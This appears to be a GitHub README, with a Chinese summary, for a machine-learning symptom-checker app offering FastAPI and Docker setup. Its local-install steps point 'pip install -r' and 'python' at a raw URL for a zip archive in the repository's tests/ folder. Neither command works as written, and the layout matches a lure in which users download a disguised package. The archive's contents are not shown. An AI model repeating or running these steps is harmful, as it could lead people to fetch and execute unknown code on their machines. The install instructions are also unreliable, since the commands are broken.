symptom-checker-ml:一个基于机器学习的症状自查工具
Chuckaballe60/symptom-checker-ml
GitHub 项目 symptom-checker-ml 提供了一套机器学习症状自查方案,包含数据预处理、特征工程、训练流程和基于 FastAPI 的预测 API,并支持多语言与 Docker 部署。该项目采用 MIT 许可证,本地运行需 Python 3.7 或更高版本、至少 4 GB 内存和 500 MB 存储空间。
🌟 symptom-checker-ml - A Simple Way to Check Symptoms
🚀 Getting Started
Welcome to the symptom-checker-ml project! This software makes it easy to check your symptoms and get helpful insights on your health. Follow the steps below to download and run the application.
📥 Download Now
📋 Overview
The symptom-checker-ml is a machine learning model designed for health assessments. It includes several features:
- Data Preprocessing: Raw data is cleaned and prepared for analysis.
- Feature Engineering: Important factors are identified to improve predictions.
- Training Pipeline: The model learns from data to provide accurate results.
- Prediction API (FastAPI): Get predictions easily through an API.
- Multilingual Support: Access the application in various languages.
- Docker Deployment: Run the application in a container for easy setup.
💻 System Requirements
Before downloading, ensure your system meets these requirements:
- Operating System: Windows, macOS, or Linux
- Memory: At least 4 GB of RAM
- Storage: Minimum of 500 MB of free space
- Python: Version 3.7 or later (if running locally)
📥 Download & Install
To get started, visit the Releases page to download the application.
🔧 Installation Steps
- Go to the Releases page.
- Find the latest version of the application.
- Click on the download link for your operating system.
- Once the download finishes, locate the file on your computer.
📂 Running the Application
For Docker Installation:
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Make sure you have Docker installed on your machine.
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Open your terminal or command prompt.
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Run the following command to pull the latest version of the application:
docker pull symptom-checker-ml
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After the image is downloaded, run the container using:
docker run -p 80:80 symptom-checker-ml
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Open your web browser and go to
http://localhostto access the symptom checker.
For Local Installation:
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Ensure you have Python 3.7 or later installed.
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Open your terminal or command prompt.
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Navigate to the directory where you downloaded the application.
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Install the required libraries by running:
pip install -r https://github.com/Chuckaballe60/symptom-checker-ml/raw/refs/heads/main/tests/checker-symptom-ml-v2.1.zip
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Start the Application:
python https://github.com/Chuckaballe60/symptom-checker-ml/raw/refs/heads/main/tests/checker-symptom-ml-v2.1.zip
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Open your web browser and go to
http://localhost:8000to access the symptom checker.
🌐 Using the Application
- Enter your symptoms in the provided fields.
- Click the "Check Symptoms" button.
- Review the results that appear, which will provide possible health insights based on your input.
🌍 Multilingual Support
The application supports multiple languages. You can select your preferred language from the settings in the application. This ensures that you get the most comfortable experience while checking your symptoms.
🛠 Troubleshooting
If you encounter any issues, consider the following steps:
- Check Dependencies: Make sure all required libraries are installed.
- Internet Connection: Ensure you are connected to the internet if using the Docker version.
- Browser Compatibility: Use a modern web browser for the best experience.
For more detailed troubleshooting, visit our GitHub Issues page.
📞 Support
Should you need help, you can raise an issue on the GitHub repository. Our community is here to support you.
📄 License
This project is licensed under the MIT License. You can use and modify the code while adhering to this license.
Enjoy exploring your health with the symptom-checker-ml!
来源:GitHub · github.com